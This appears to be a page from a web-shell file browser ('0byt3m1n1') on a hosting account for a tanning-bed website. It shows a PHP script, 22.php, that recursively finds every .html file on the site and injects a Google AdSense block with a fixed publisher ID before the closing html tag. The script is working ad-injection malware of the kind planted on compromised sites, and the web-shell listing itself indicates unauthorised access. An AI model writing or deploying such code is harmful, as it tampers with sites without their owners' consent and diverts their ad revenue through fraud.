0byt3m1n1
Path:
/
data
/
17
/
1
/
18
/
11
/
1670011
/
user
/
1801231
/
htdocs
/
customtanningbed_dot_com
/
[
Home
]
File: 22.php
<?php echo "start<br>\n"; $text = '<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-7206415678376230" crossorigin="anonymous"></script> <ins class="adsbygoogle" style="display:block" data-ad-format="autorelaxed" data-ad-client="ca-pub-7206415678376230" data-ad-slot="3578251928"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script> '; // добавляем $search_text = '</html>'; // ищем $extension = 'html'; $path = '.'; function getDirContents($dir, $extension, &$results = array()) { $files = scandir($dir); foreach ($files as $key => $value) { $path = realpath($dir . DIRECTORY_SEPARATOR . $value); if (!is_dir($path)) { $info = pathinfo($path); if ($info["extension"] == $extension) {$results[] = $path;} } else if ($value != "." && $value != "..") { getDirContents($path, $extension, $results); $results[] = $path; } } return $results; } $files = getDirContents($path, $extension ); $replace_count = 0; foreach ($files as $key => $file) { $file_data = file_get_contents($file); if(strpos($file_data, $search_text) !== false && strpos($file_data, $text) === false){ $file_data = str_replace($search_text, $text.$search_text, $file_data); file_put_contents($file, $file_data); echo $file."<br>\n"; $replace_count++; } } echo "total replace $replace_count"; ?>